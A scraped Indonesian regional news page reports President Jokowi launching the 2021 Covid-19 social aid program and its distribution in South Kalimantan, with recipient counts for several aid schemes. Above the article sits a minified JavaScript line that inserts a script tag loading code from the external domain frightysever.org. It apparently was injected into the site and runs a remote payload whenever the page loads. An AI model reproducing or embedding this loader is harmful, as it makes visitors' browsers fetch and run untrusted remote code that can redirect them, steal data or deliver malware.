(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Presiden Joko Widodo memimpin peluncuran bantuan sosial (bansos) Covid-19 tahun 2021, Senin (4/1/2021) petang. Penyerahan bantuan bagi masyarakat terdampak pandemi itu turut dilakukan serentak di seluruh daerah, tak terkecuali di provinsi Kalimantan Selatan.
Dipusatkan di gedung KH Idham Chalid perkantoran Gubernur Kalsel, bantuan Covid-19 diserahkan oleh Gubernur Kalsel H Sahbirin Noor kepada perwakilan penerima bantuan.
Jokowi dalam sambutan melalui siaran virtual, berharap bansos ini dapat meringankan beban masyarakat maupun keluarga yang terdampak pandemi. Sekaligus juga katanya bantuan ini dapat menjadi pemicu bergeraknya ekonomi nasional.
“Memperkuat daya beli masyarakat. Sehingga dengan begitu, pertumbuhan ekonomi meningkat jadi lebih baik,” katanya.
Presiden ke-7 Indonesia itu juga memberikan instruksi kepada seluruh pemerintah daerah untuk terus mengawal penyaluran bansos ini agar tetap sasaran. Termasuk kepada penerima bantuan agar dipergunakan untuk memenuhi kebutuhan pokok dan keluarga.
“Bantuan yang kami serahkan ini utuh, tidak ada potongan. Dikirimkan langsung ke penerima, baik itu lewat bank maupun kantor pos. Saya perintahkan agar pemerintah daerah mengawal penyaluran bansos ini, supaya cepat dan tepat sasaran. Sehingga dampak ekonominya bisa muncul dan rakyat tidak menunggu terlalu lama,” terang Jokowi.
Sementara itu, Gubernur Kalsel menjelaskan bahwa bansos yang disalurkan terdiri dari 3 jenis. Yakni, Program Keluarga Harapan (PKH), bantuan non tunai atau program sembako dan program bantuan tunai.
“Bansos Covid-19 tahun 2021 ini disalurkan dalam 4 tahap. Untuk tahap pertama, kita laksanakan di bulan Januari ini. Kita berikan kepada mereka yang memang berhak menerimanya. Intinya, Pemprov Kalsel siap mengawal penyaluran bansos ini sampai tahap akhir,” tegas Gubernur Kalsel.
Di lain pihak, Kepala Dinas Sosial (Dinsos) Pemrpov Kalsel, Siti Nuryani menerangkan, bansos terbanyak yang disalurkan tahun ini ialah program sembako. Dengan jumlah penerima sebanyak 141.457 kepala keluarga.
“Lalu, untuk bansos program PKH penerimanya berjumlah 91.103. Sedangkan untuk bansos program bantuan uang tunai sebesar 300 ribu, penerima ada sebanyak 141.457 kepala keluarga. Batas penyaluran bantuan ini sampai Desember mendatang,” tandasnya. (kanalkalimatan.com/rico)
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.